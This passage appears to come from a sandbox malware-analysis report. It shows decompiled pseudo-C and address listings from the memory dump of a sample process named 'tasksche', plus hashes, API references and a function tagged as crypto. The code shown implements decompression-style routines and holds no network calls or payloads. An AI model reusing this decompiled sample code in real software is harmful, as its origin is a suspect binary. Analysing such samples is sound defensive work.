																_t902 = _t902 + 1;
																_t791 = _t791 + 4;
																__eflags = _t902 - 0xf;
																if(_t902 < 0xf) {
																	continue;
																}
																goto L125;
															}
															_a4 = _t902;
															goto L125;
														}
														_t792 = 0x10;
														_t632 = _t627 >> _t792 - _t901;
														_t795 = ( *(_t632 + _t936 + 0x1ef4) & 0x000000ff) +  *(_t934 + 4);
														 *_t934 =  *_t934 + (_t795 >> 3);
														 *(_t934 + 4) = _t795 & 0x00000007;
														_t631 =  *(_t936 + 0x22f4 + _t632 * 2) & 0x0000ffff;
														goto L128;
													} else {
														_t633 = _t625 - 1;
														__eflags = _t633;
														 *(_t936 + 0x98cc) = _t633;
														L116:
														_t683 = _t683 +  *(_t936 + 0x98c8);
														goto L132;
													}
												}
											}
											_t852 =  *(_t936 + 0x70);
											 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) = _t545;
											L95:
											 *(_t936 + 0x70) =  *(_t936 + 0x70) + 1;
											continue;
										}
										_t702 = _t936 + 0x98 + _t706 * 4;
										while(1) {
											__eflags = _t541 -  *_t702;
											if(_t541 <  *_t702) {
												break;
											}
											_t706 = _t706 + 1;
											_t702 = _t702 + 4;
											__eflags = _t706 - 0xf;
											if(_t706 < 0xf) {
												continue;
											}
											goto L90;
										}
										_t852 = _t706;
										goto L90;
									}
									_t814 = 0x10;
									_t644 = _t541 >> _t814 - _t681;
									_t817 = ( *(_t644 + _t936 + 0x11c) & 0x000000ff) +  *(_t934 + 4);
									_t852 = _t817 >> 3;
									 *_t934 =  *_t934 + (_t817 >> 3);
									 *(_t934 + 4) = _t817 & 0x00000007;
									_t545 =  *(_t936 + 0x51c + _t644 * 2) & 0x0000ffff;
									goto L93;
								}
								_t683 = E00413B29(_t936 + 0x98d0);
								if(_t683 == 0xffffffff) {
									E00413A60(_t936 + 0x98d0, _t852);
									_t535 = _t936 + 0xe654;
									 *_t535 =  *(_t936 + 0xe654) & 0x00000000;
									__eflags =  *_t535;
									break;
								}
								if(_t683 !=  *((intOrPtr*)(_t936 + 0xe4bc))) {
									L81:
									 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) = _t683;
									goto L95;
								}
								_t648 = E00413E39(_t936);
								if(_t648 != 0) {
									__eflags = _t648 - 0xffffffff;
									if(_t648 == 0xffffffff) {
										break;
									}
									__eflags = _t648 - 2;
									if(_t648 == 2) {
										break;
									}
									__eflags = _t648 - 3;
									if(__eflags != 0) {
										__eflags = _t648 - 4;
										if(_t648 != 4) {
											__eflags = _t648 - 5;
											if(_t648 != 5) {
												goto L81;
											}
											_t649 = E00413E39(_t936);
											__eflags = _t649 - 0xffffffff;
											if(_t649 == 0xffffffff) {
												break;
											}
											_a4 = _t649 + 4;
											_t651 =  *(_t936 + 0x70);
											_t852 = _t651 - 1;
											_t825 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
											__eflags = _t852 - _t825;
											if(_t852 >= _t825) {
												L77:
												__eflags = _a4;
												if(_a4 <= 0) {
													continue;
												}
												_t826 =  *(_t936 + 0xe6dc);
												do {
													_t683 =  *(_t936 + 0x70);
													_a4 = _a4 - 1;
													 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t826 & _t852) +  *((intOrPtr*)(_t936 + 0x4b34))));
													_t826 =  *(_t936 + 0xe6dc);
													_t852 = _t852 + 1;
													__eflags = _a4;
													 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t826;
												} while (_a4 > 0);
												continue;
											}
											__eflags = _t651 - _t825;
											if(_t651 >= _t825) {
												goto L77;
											}
											_t829 =  *((intOrPtr*)(_t936 + 0x4b34));
											_t683 = _t829 + _t852;
											_v8 = _t829 + _t651;
											_t831 = _a4;
											 *(_t936 + 0x70) = _t651 + _t831;
											__eflags = _t831 - 1;
											if(_t831 <= 1) {
												__eflags = _t831 - 8;
												if(_t831 < 8) {
													goto L51;
												}
												_t658 = _a4 >> 3;
												__eflags = _t658;
												_v16 = _t658;
												do {
													E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
													_v8 = _v8 + 8;
													_a4 = _a4 - 8;
													_t937 = _t937 + 0xc;
													_t683 = _t683 + 8;
													_t144 =  &_v16;
													 *_t144 = _v16 - 1;
													__eflags =  *_t144;
												} while ( *_t144 != 0);
												goto L51;
											}
											__eflags = _t831 - 8;
											if(_t831 < 8) {
												goto L51;
											}
											_t660 = _v8;
											_t832 = _t831 >> 3;
											__eflags = _t832;
											do {
												_a4 = _a4 - 8;
												 *_t660 =  *_t683;
												 *((char*)(_t660 + 1)) =  *((intOrPtr*)(_t683 + 1));
												 *((char*)(_t660 + 2)) =  *((intOrPtr*)(_t683 + 2));
												 *((char*)(_t660 + 3)) =  *((intOrPtr*)(_t683 + 3));
												 *((char*)(_t660 + 4)) =  *((intOrPtr*)(_t683 + 4));
												 *((char*)(_t660 + 5)) =  *((intOrPtr*)(_t683 + 5));
												 *((char*)(_t660 + 6)) =  *((intOrPtr*)(_t683 + 6));
												_t852 =  *((intOrPtr*)(_t683 + 7));
												 *((char*)(_t660 + 7)) =  *((intOrPtr*)(_t683 + 7));
												_t683 = _t683 + 8;
												_t660 = _t660 + 8;
												_t832 = _t832 - 1;
												__eflags = _t832;
											} while (_t832 != 0);
											goto L47;
										} else {
											_t684 = 0;
											__eflags = 0;
											_a7 = 0;
											_v16 = 0;
											while(1) {
												__eflags = _a7;
												if(_a7 != 0) {
													goto L223;
												}
												_t661 = E00413E39(_t936);
												__eflags = _t661 - 0xffffffff;
												if(_t661 != 0xffffffff) {
													__eflags = _v16 - 3;
													_t662 = _t661 & 0x000000ff;
													if(_v16 != 3) {
														_t684 = (_t684 << 8) + _t662;
														__eflags = _t684;
													} else {
														_v20 = _t662;
													}
												} else {
													_a7 = 1;
												}
												_v16 = _v16 + 1;
												__eflags = _v16 - 4;
												if(_v16 < 4) {
													continue;
												} else {
													__eflags = _a7;
													if(_a7 != 0) {
														goto L223;
													}
													_t834 =  *(_t936 + 0x70);
													_t49 = _t684 + 2; // 0x2
													_t921 = _t49;
													_a4 = _v20 + 0x20;
													_t666 = _t834 - _t921;
													_v16 = _t921;
													_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
													__eflags = _t666 - _t852;
													if(_t666 >= _t852) {
														L60:
														__eflags = _a4;
														if(_a4 > 0) {
															_t923 =  *(_t936 + 0xe6dc);
															do {
																_t683 =  *(_t936 + 0x70);
																_a4 = _a4 - 1;
																 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t923 & _t666) +  *((intOrPtr*)(_t936 + 0x4b34))));
																_t923 =  *(_t936 + 0xe6dc);
																_t666 = _t666 + 1;
																__eflags = _a4;
																 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t923;
															} while (_a4 > 0);
														}
														goto L12;
													}
													__eflags = _t834 - _t852;
													if(_t834 >= _t852) {
														goto L60;
													}
													_t926 =  *((intOrPtr*)(_t936 + 0x4b34));
													_t683 = _t926 + _t666;
													_t667 = _a4;
													_t852 = _t926 + _t834;
													_v8 = _t852;
													 *(_t936 + 0x70) = _t834 + _t667;
													__eflags = _v16 - _t667;
													if(_v16 >= _t667) {
														__eflags = _t667 - 8;
														if(_t667 < 8) {
															L51:
															_t759 = _a4;
															__eflags = _t759;
															if(_t759 <= 0) {
																goto L12;
															} else {
																_t594 = _v8;
																goto L53;
															}
														} else {
															_t669 = _a4 >> 3;
															__eflags = _t669;
															_v16 = _t669;
															do {
																E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
																_v8 = _v8 + 8;
																_a4 = _a4 - 8;
																_t937 = _t937 + 0xc;
																_t683 = _t683 + 8;
																_t83 =  &_v16;
																 *_t83 = _v16 - 1;
																__eflags =  *_t83;
															} while ( *_t83 != 0);
															goto L51;
														}
													}
													__eflags = _t667 - 8;
													if(_t667 >= 8) {
														_t841 = _t667 >> 3;
														__eflags = _t841;
														_t671 = _t852;
														do {
															_a4 = _a4 - 8;
															 *_t671 =  *_t683;
															 *((char*)(_t671 + 1)) =  *((intOrPtr*)(_t683 + 1));
															 *((char*)(_t671 + 2)) =  *((intOrPtr*)(_t683 + 2));
															 *((char*)(_t671 + 3)) =  *((intOrPtr*)(_t683 + 3));
															 *((char*)(_t671 + 4)) =  *((intOrPtr*)(_t683 + 4));
															 *((char*)(_t671 + 5)) =  *((intOrPtr*)(_t683 + 5));
															 *((char*)(_t671 + 6)) =  *((intOrPtr*)(_t683 + 6));
															_t852 =  *((intOrPtr*)(_t683 + 7));
															 *((char*)(_t671 + 7)) =  *((intOrPtr*)(_t683 + 7));
															_t683 = _t683 + 8;
															_t671 = _t671 + 8;
															_t841 = _t841 - 1;
															__eflags = _t841;
														} while (_t841 != 0);
														L47:
														_v8 = _t660;
													}
													goto L51;
												}
											}
											break;
										}
									} else {
										_t598 = E00417CA7(_t936, _t852, __eflags);
										goto L25;
									}
								} else {
									_t598 = E00413EE3(_t936, _t852);
									goto L25;
								}
							} else {
								E00414F83(_t936);
								_t673 =  *((intOrPtr*)(_t936 + 0x4c54));
								_t953 = _t673 -  *((intOrPtr*)(_t936 + 0x4c44));
								if(_t953 > 0) {
									L224:
									return _t673;
								}
								if(_t953 < 0) {
									L19:
									if( *((char*)(_t936 + 0x4c48)) != 0) {
										 *((char*)(_t936 + 0x4c58)) = 0;
										return _t673;
									}
									goto L20;
								}
								_t673 =  *((intOrPtr*)(_t936 + 0x4c50));
								if(_t673 >  *((intOrPtr*)(_t936 + 0x4c40))) {
									goto L224;
								}
								goto L19;
							}
						}
						L223:
						return E00414F83(_t936);
					}
					E004157DB(_t936, _a4);
					_t673 = E0041236D(_t680, _t936, _t849);
					if(_t673 == 0) {
						goto L224;
					}
					if(_a4 == 0 ||  *((char*)(_t936 + 0xe658)) == 0) {
						_t673 = E00413EE3(_t936, _t849);
						if(_t673 == 0) {
							goto L224;
						}
					}
					goto L11;
				} else {
					_v12 = 0;
					_t935 = 0;
					do {
						_t852 =  *(0x4301d0 + _t680 * 4);
						if(_t852 > 0) {
							_t4 = _t935 + 0x44f6b8; // 0x44f6b8
							_v16 = 1;
							_v16 = _v16 << _t680;
							_v8 = _t852;
							E0041A820(_t935, _t4, _t680, _t852);
							_t937 = _t937 + 0xc;
							do {
								_t678 = _v12;
								 *((intOrPtr*)(0x44f6f8 + _t935 * 4)) = _t678;
								_t935 = _t935 + 1;
								_t13 =  &_v8;
								 *_t13 = _v8 - 1;
								_v12 = _t678 + _v16;
							} while ( *_t13 != 0);
						}
						_t680 = _t680 + 1;
					} while (_t680 < 0x13);
					goto L6;
				}
			}

0x00417d80
0x00417d83
0x00417d85
0x00417d8b
0x00417dd9
0x00417de0
0x00417de7
0x00417e20
0x00417e20
0x00417e23
0x00417e23
0x00417e29
0x00417e31
0x00000000
0x00000000
0x00417e42
0x00417e45
0x00417e4c
0x00417e58
0x00417e98
0x00417e9f
0x00418200
0x00418205
0x0041820b
0x00418210
0x00418217
0x00418244
0x00418245
0x00418248
0x0041824a
0x00418264
0x00418267
0x0041826e
0x00418271
0x00418274
0x0041827f
0x00418284
0x0041828b
0x00418291
0x00418293
0x00418293
0x00418293
0x00418295
0x0041829d
0x004182a2
0x004182a4
0x004182ba
0x004182bf
0x00418648
0x0041864a
0x00418658
0x0041865d
0x0041866b
0x00418670
0x00418786
0x0041878b
0x004189ff
0x00418a04
0x00000000
0x00000000
0x00418a16
0x00418a1d
0x00418a1e
0x00418a21
0x00418a23
0x00418a27
0x00418a2e
0x00418a34
0x00418a39
0x00418a41
0x00418a43
0x00418a43
0x00418a46
0x00418a46
0x00418a4c
0x00418a55
0x00418a5b
0x00418a61
0x00418a66
0x00418a67
0x00418a6a
0x00418a6f
0x00418a71
0x00418a77
0x00418a7a
0x00418a7c
0x00418aa1
0x00418aa1
0x00418aa7
0x00418aad
0x00418ab0
0x00418ab8
0x00418abe
0x00418ac4
0x00418ac8
0x00418acc
0x00418acc
0x00418a7e
0x00418a7e
0x00418a80
0x00000000
0x00000000
0x00418a82
0x00418a88
0x00418a8a
0x00418a8f
0x00418a94
0x00418a99
0x00418a99
0x00000000
0x00418a7c
0x00418791
0x00418796
0x0041879a
0x0041879c
0x004187aa
0x004187aa
0x004187ac
0x00000000
0x00000000
0x004187a4
0x004187a6
0x004187a7
0x004187a7
0x004187a7
0x004187b0
0x004187b3
0x004187b8
0x004187be
0x004187c3
0x004187ca
0x004187f7
0x004187f8
0x004187f9
0x004187fb
0x00418815
0x00418818
0x0041881f
0x00418825
0x00418830
0x00418835
0x0041883c
0x00418842
0x00418844
0x00418844
0x00418844
0x00418846
0x0041884e
0x00418855
0x0041885d
0x0041885e
0x00418861
0x00418864
0x00418866
0x0041886a
0x00418871
0x00418877
0x0041887c
0x0041887f
0x00418887
0x00418889
0x00418889
0x0041888c
0x0041888c
0x0041888f
0x0041889a
0x0041889d
0x004188a3
0x004188a6
0x004188a9
0x004188ab
0x004189c2
0x004189c2
0x004189c4
0x00000000
0x00000000
0x004189ca
0x004189d0
0x004189d6
0x004189d9
0x004189e1
0x004189e7
0x004189ed
0x004189f1
0x004189f5
0x004189f5
0x00000000
0x004188b1
0x004188b1
0x004188b3
0x00000000
0x00000000
0x004188b9
0x004188bf
0x004188c2
0x004188c5
0x004188c9
0x004188cc
0x004188cf
0x004188d2
0x00418920
0x00418923
0x0041894c
0x0041894c
0x00418950
0x00418956
0x0041895c
0x0041895f
0x00418961
0x00418967
0x0041896e
0x00418971
0x00418977
0x0041897e
0x00418981
0x00418987
0x0041898e
0x00418991
0x00418997
0x0041899e
0x004189a1
0x004189a7
0x004189ae
0x004189b1
0x004189ba
0x004189ba
0x004189b1
0x004189a1
0x00418991
0x00418981
0x00418971
0x00418961
0x00000000
0x00418950
0x00418928
0x00418928
0x0041892b
0x0041892e
0x00418934
0x00418939
0x0041893d
0x00418941
0x00418944
0x00418947
0x00418947
0x00418947
0x00418947
0x00000000
0x0041892e
0x004188d4
0x004188d7
0x00000000
0x00000000
0x004188d9
0x004188d9
0x004188dc
0x004188de
0x004188e0
0x004188e2
0x004188e6
0x004188eb
0x004188f1
0x004188f7
0x004188fd
0x00418903
0x00418909
0x0041890c
0x0041890f
0x00418912
0x00418915
0x00418918
0x00418918
0x00418918
0x0041891b
0x00000000
0x0041891b
0x004188ab
0x004187fd
0x00418804
0x00418804
0x00418806
0x00000000
0x00000000
0x00418808
0x00418809
0x0041880c
0x0041880f
0x00000000
0x00000000
0x00000000
0x00418811
0x00418813
0x00000000
0x00418813
0x004187ce
0x004187d1
0x004187db
0x004187e3
0x004187e8
0x004187eb
0x00000000
0x004187eb
0x00418676
0x00418679
0x0041867b
0x00000000
0x00000000
0x00418681
0x00418687
0x0041868c
0x00418694
0x0041869a
0x0041869c
0x00418747
0x00418747
0x0041874b
0x00000000
0x00000000
0x00418751
0x00418757
0x0041875d
0x00418760
0x00418768
0x0041876e
0x00418774
0x00418778
0x0041877c
0x0041877c
0x00000000
0x00418781
0x004186a2
0x004186a4
0x00000000
0x00000000
0x004186aa
0x004186b0
0x004186b3
0x004186b6
0x004186ba
0x004186bd
0x004186c0
0x004186c3
0x00418715
0x00418718
0x004185f6
0x004185f6
0x004185f9
0x004185fb
0x00000000
0x00000000
0x00418601
0x0041802c
0x0041802c
0x0041802e
0x00418030
0x00418033
0x00418039
0x0041803c
0x0041803f
0x00418042
0x00418048
0x0041804b
0x0041804e
0x00418051
0x00418057
0x0041805a
0x0041805d
0x00418060
0x00418066
0x00418069
0x0041806c
0x0041806f
0x00418075
0x00418078
0x0041807b
0x0041807e
0x00418087
0x00418087
0x0041807e
0x0041806f
0x00418060
0x00418051
0x00418042
0x00000000
0x00418033
0x0041871e
0x0041871e
0x00418721
0x00418724
0x0041872a
0x0041872f
0x00418733
0x00418737
0x0041873a
0x0041873d
0x0041873d
0x0041873d
0x0041873d
0x00000000
0x00418742
0x004186c5
0x004186c8
0x00000000
0x00000000
0x004186d0
0x004186d0
0x004186d3
0x004186d5
0x004186d7
0x004186db
0x004186e0
0x004186e6
0x004186ec
0x004186f2
0x004186f8
0x004186fe
0x00418701
0x00418704
0x00418707
0x0041870a
0x0041870d
0x0041870d
0x0041870d
0x004185c5
0x004185c5
0x00000000
0x004185c5
0x00418661
0x00417ed9
0x00417edb
0x00000000
0x00417ee1
0x00000000
0x00417ee1
0x00417edb
0x0041864e
0x00000000
0x0041864e
0x004182d1
0x004182d8
0x004182db
0x004182de
0x004182e1
0x004182e3
0x004182e7
0x004182ee
0x004182f9
0x004182fc
0x00418304
0x00418306
0x00418306
0x00418309
0x00418309
0x0041830e
0x00418313
0x00418319
0x0041831e
0x00418325
0x00418352
0x00418353
0x00418356
0x00418358
0x00418372
0x00418375
0x0041837c
0x00418382
0x0041838d
0x00418392
0x00418399
0x0041839f
0x004183a1
0x004183a1
0x004183a1
0x004183a3
0x00000000
0x004183a3
0x0041835a
0x00418361
0x00418361
0x00418363
0x00000000
0x00000000
0x00418365
0x00418366
0x00418369
0x0041836c
0x00000000
0x00000000
0x00000000
0x0041836e
0x00418370
0x00000000
0x00418327
0x00418329
0x0041832c
0x00418336
0x0041833e
0x00418343
0x00418346
0x004183ab
0x004183ab
0x004183b9
0x004183ba
0x004183bd
0x004183c0
0x004183c2
0x0041850a
0x0041850a
0x00418510
0x00418512
0x00418515
0x0041851b
0x0041851d
0x0041851d
0x0041851d
0x0041851d
0x0041851b
0x00418523
0x0041852c
0x00418532
0x00418538
0x0041853b
0x0041853e
0x00418541
0x00418546
0x00418548
0x0041854e
0x00418551
0x00418553
0x00418609
0x00418609
0x0041860d
0x00000000
0x00000000
0x00418613
0x00418619
0x0041861f
0x00418622
0x0041862a
0x00418630
0x00418636
0x0041863a
0x0041863e
0x0041863e
0x00000000
0x00418559
0x00418559
0x0041855b
0x00000000
0x00000000
0x00418561
0x00418567
0x0041856a
0x0041856d
0x00418571
0x00418574
0x00418577
0x0041857a
0x004185ca
0x004185cd
0x00000000
0x00000000
0x004185d2
0x004185d2
0x004185d5
0x004185d8
0x004185de
0x004185e3
0x004185e7
0x004185eb
0x004185ee
0x004185f1
0x004185f1
0x004185f1
0x004185f1
0x00000000
0x004185d8
0x0041857e
0x0041857f
0x00418581
0x00000000
0x00000000
0x00418583
0x00418583
0x00418586
0x00418589
0x0041858b
0x0041858d
0x00418590
0x00418595
0x0041859b
0x004185a1
0x004185a7
0x004185ad
0x004185b3
0x004185b6
0x004185b9
0x004185bc
0x004185be
0x004185c0
0x004185c0
0x004185c0
0x004185c0
0x00000000
0x0041858b
0x00418553
0x004183c8
0x004183cb
0x004184e5
0x004184ec
0x004184f2
0x004184f7
0x004184ff
0x00418501
0x00418501
0x00418504
0x00418507
0x00418507
0x00000000
0x00418507
0x004183d1
0x004183d4
0x004183d8
0x004183df
0x004183e4
0x004183ec
0x004183f8
0x004183fa
0x004183fc
0x004183fc
0x004183ff
0x004183ff
0x00418402
0x00418408
0x0041840a
0x00418420
0x00418425
0x0041842b
0x00418430
0x00418437
0x00418462
0x00418463
0x0041846a
0x0041846d
0x00418488
0x0041848b
0x00418495
0x00418497
0x0041849d
0x004184a7
0x004184ac
0x004184b3
0x004184b9
0x004184bb
0x004184bb
0x004184bb
0x004184bd
0x004184c5
0x004184c5
0x004184c8
0x004184d9
0x004184db
0x00000000
0x004184db
0x004184ca
0x00000000
0x004184ca
0x0041846f
0x00418476
0x00418476
0x00418478
0x00000000
0x00000000
0x0041847a
0x0041847b
0x0041847e
0x00418481
0x00000000
0x00000000
0x00000000
0x00418483
0x00418485
0x00000000
0x00418485
0x0041843b
0x0041843e
0x00418448
0x00418450
0x00418455
0x00418458
0x00000000
0x0041840c
0x0041840c
0x0041840c
0x0041840d
0x00418413
0x00418413
0x00000000
0x00418413
0x0041840a
0x00418325
0x004182ac
0x004182af
0x004182b2
0x004182b2
0x00000000
0x004182b2
0x0041824c
0x00418253
0x00418253
0x00418255
0x00000000
0x00000000
0x00418257
0x00418258
0x0041825b
0x0041825e
0x00000000
0x00000000
0x00000000
0x00418260
0x00418262
0x00000000
0x00418262
0x0041821b
0x0041821e
0x00418228
0x0041822d
0x00418230
0x00418235
0x00418238
0x00000000
0x00418238
0x00417eb0
0x00417eb5
0x00418ae5
0x00418aea
0x00418aea
0x00418aea
0x00000000
0x00418aea
0x00417ec1
0x004181ed
0x004181f6
0x00000000
0x004181f6
0x00417ec9
0x00417ed0
0x00417ee6
0x00417ee9
0x00000000
0x00000000
0x00417eef
0x00417ef2
0x00000000
0x00000000
0x00417ef8
0x00417efb
0x00417f06
0x00417f09
0x004180ce
0x004180d1
0x00000000
0x00000000
0x004180d9
0x004180de
0x004180e1
0x00000000
0x00000000
0x004180f0
0x004180f3
0x004180f6
0x004180f9
0x004180ff
0x00418101
0x004181ae
0x004181ae
0x004181b2
0x00000000
0x00000000
0x004181b8
0x004181be
0x004181c4
0x004181c7
0x004181cf
0x004181d5
0x004181db
0x004181df
0x004181e3
0x004181e3
0x00000000
0x004181e8
0x00418107
0x00418109
0x00000000
0x00000000
0x0041810f
0x00418115
0x0041811a
0x0041811d
0x00418122
0x00418125
0x00418128
0x00418179
0x0041817c
0x00000000
0x00000000
0x00418185
0x00418185
0x00418188
0x0041818b
0x00418191
0x00418196
0x0041819a
0x0041819e
0x004181a1
0x004181a4
0x004181a4
0x004181a4
0x004181a4
0x00000000
0x004181a9
0x0041812a
0x0041812d
0x00000000
0x00000000
0x00418133
0x00418136
0x00418136
0x00418139
0x0041813b
0x0041813f
0x00418144
0x0041814a
0x00418150
0x00418156
0x0041815c
0x00418162
0x00418165
0x00418168
0x0041816b
0x0041816e
0x00418171
0x00418171
0x00418171
0x00000000
0x00417f0f
0x00417f0f
0x00417f0f
0x00417f11
0x00417f14
0x00417f17
0x00417f17
0x00417f1b
0x00000000
0x00000000
0x00417f23
0x00417f28
0x00417f2b
0x00417f33
0x00417f37
0x00417f3a
0x00417f44
0x00417f44
0x00417f3c
0x00417f3c
0x00417f3c
0x00417f2d
0x00417f2d
0x00417f2d
0x00417f46
0x00417f49
0x00417f4d
0x00000000
0x00417f4f
0x00417f4f
0x00417f53
0x00000000
0x00000000
0x00417f5c
0x00417f62
0x00417f62
0x00417f65
0x00417f6a
0x00417f6c
0x00417f75
0x00417f7b
0x00417f7d
0x0041808f
0x0041808f
0x00418093
0x00418099
0x0041809f
0x004180a5
0x004180a8
0x004180b0
0x004180b6
0x004180bc
0x004180c0
0x004180c4
0x004180c4
0x004180c9
0x00000000
0x00418093
0x00417f83
0x00417f85
0x00000000
0x00000000
0x00417f8b
0x00417f91
0x00417f94
0x00417f97
0x00417f9b
0x00417f9e
0x00417fa1
0x00417fa4
0x00417ff2
0x00417ff5
0x0041801e
0x0041801e
0x00418021
0x00418023
0x00000000
0x00418029
0x00418029
0x00000000
0x00418029
0x00417ff7
0x00417ffa
0x00417ffa
0x00417ffd
0x00418000
0x00418006
0x0041800b
0x0041800f
0x00418013
0x00418016
0x00418019
0x00418019
0x00418019
0x00418019
0x00000000
0x00418000
0x00417ff5
0x00417fa6
0x00417fa9
0x00417fad
0x00417fad
0x00417fb0
0x00417fb2
0x00417fb4
0x00417fb8
0x00417fbd
0x00417fc3
0x00417fc9
0x00417fcf
0x00417fd5
0x00417fdb
0x00417fde
0x00417fe1
0x00417fe4
0x00417fe7
0x00417fea
0x00417fea
0x00417fea
0x00417fed
0x00417fed
0x00417fed
0x00000000
0x00417fa9
0x00417f4d
0x00000000
0x00417f17
0x00417efd
0x00417eff
0x00000000
0x00417eff
0x00417ed2
0x00417ed4
0x00000000
0x00417ed4
0x00417e5e
0x00417e60
0x00417e65
0x00417e6b
0x00417e71
0x00418afc
0x00418afc
0x00418afc
0x00417e77
0x00417e8b
0x00417e92
0x00418ad6
0x00000000
0x00418ad6
0x00000000
0x00417e92
0x00417e79
0x00417e85
0x00000000
0x00000000
0x00000000
0x00417e85
0x00417e58
0x00418af1
0x00000000
0x00418af3
0x00417dee
0x00417df5
0x00417dfc
0x00000000
0x00000000
0x00417e06
0x00417e13
0x00417e1a
0x00000000
0x00000000
0x00417e1a
0x00000000
0x00417d8d
0x00417d8d
0x00417d90
0x00417d92
0x00417d92
0x00417d9b
0x00417d9e
0x00417da7
0x00417dae
0x00417db2
0x00417db5
0x00417dba
0x00417dbd
0x00417dbd
0x00417dc0
0x00417dca
0x00417dcb
0x00417dcb
0x00417dce
0x00417dce
0x00417dbd
0x00417dd3
0x00417dd4
0x00000000
0x00417d92

APIs

_memset.LIBCMT ref: 00417DB5

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f2ddf0237e8c887b9397686041efde03e6b7465c6b8aca2acf299e0ee70c85ec
Instruction ID: ca8e397051957a2ab45e24d4035287d6273771f133136d8253d7927585564b75
Opcode Fuzzy Hash: f2ddf0237e8c887b9397686041efde03e6b7465c6b8aca2acf299e0ee70c85ec
Instruction Fuzzy Hash: 5692D5709087859FCB29CF34C4D06E9BBF1AF55308F18C5AED8968B342D738A985CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00414946 Relevance: 2.0, APIs: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00414946(void* __ebx, intOrPtr __ecx, signed int _a4) {
				signed char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed char _v24;
				signed int* _v28;
				intOrPtr _v32;
				signed char _v36;
				signed int _v40;
				signed int _v44;
				signed char _v48;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t214;
				intOrPtr _t215;
				signed int _t216;
				signed int _t217;
				signed int _t219;
				unsigned int _t220;
				signed int _t223;
				signed int _t224;
				signed int _t226;
				unsigned int _t227;
				signed int _t230;
				signed int _t231;
				signed int _t236;
				unsigned int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int* _t249;
				signed int _t250;
				signed int _t257;
				unsigned int _t258;
				signed int _t261;
				signed int _t262;
				signed int* _t267;
				unsigned int _t268;
				signed int _t271;
				signed int _t272;
				signed int _t273;
				unsigned int _t274;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				unsigned int _t280;
				signed int _t287;
				unsigned int _t288;
				signed int _t291;
				signed int _t292;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				void* _t302;
				void* _t303;
				signed int* _t306;
				signed int* _t307;
				signed int _t311;
				signed int _t312;
				signed int _t315;
				signed int _t316;
				intOrPtr* _t319;
				signed int _t320;
				signed int _t321;
				intOrPtr _t327;
				signed int* _t328;
				signed int _t331;
				void* _t333;
				signed int _t338;
				void* _t340;
				signed char _t344;
				void* _t347;
				intOrPtr* _t351;
				void* _t352;
				signed int _t355;
				signed int _t358;
				signed int _t363;
				unsigned int _t365;
				void* _t367;
				signed char _t370;
				void* _t373;
				signed int _t378;
				unsigned int _t380;
				void* _t382;
				void* _t384;
				signed int _t387;
				void* _t390;
				void* _t392;
				signed int _t395;
				void* _t398;
				signed int _t402;
				signed short _t403;
				intOrPtr* _t405;
				void* _t406;
				signed int _t409;
				signed int _t415;
				signed int _t416;
				signed int _t420;
				signed int _t421;
				signed int _t427;
				signed int _t429;
				signed int _t432;
				signed int _t433;
				intOrPtr* _t436;
				signed int _t441;
				intOrPtr* _t443;

				_t303 = __ebx;
				_t441 = _a4;
				_v32 = __ecx;
				if( *((char*)(_t441 + 0x2c)) != 0) {
					L3:
					_t214 =  *((intOrPtr*)(_t441 + 0x18));
					_t443 = _t441 + 4;
					__eflags =  *_t443 -  *((intOrPtr*)(_t441 + 0x24)) + _t214;
					if( *_t443 <=  *((intOrPtr*)(_t441 + 0x24)) + _t214) {
						 *(_t441 + 0x4ad8) =  *(_t441 + 0x4ad8) & 0x00000000;
						_t17 = _t214 - 1; // -1
						_t215 =  *((intOrPtr*)(_t441 + 0x20)) + _t17;
						_t327 =  *((intOrPtr*)(_t441 + 0x4acc)) - 0x10;
						__eflags = _t215 - _t327;
						_v16 = _t215;
						_v20 = _t327;
						_v12 = _t215;
						if(_t215 >= _t327) {
							_v12 = _t327;
						}
						_push(_t303);
						while(1) {
							_t214 =  *_t443;
							__eflags = _t214 - _v12;
							if(_t214 < _v12) {
								goto L15;
							}
							L9:
							__eflags = _t214 - _v16;
							if(__eflags > 0) {
								L97:
								goto L98;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t214 - _v20;
								if(_t214 < _v20) {
									L14:
									__eflags = _t214 -  *((intOrPtr*)(_t441 + 0x4acc));
									if(_t214 >=  *((intOrPtr*)(_t441 + 0x4acc))) {
										L96:
										 *((char*)(_t441 + 0x4ad3)) = 1;
										goto L97;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t441 + 0x4ad2));
								if( *((char*)(_t441 + 0x4ad2)) == 0) {
									goto L96;
								}
								goto L14;
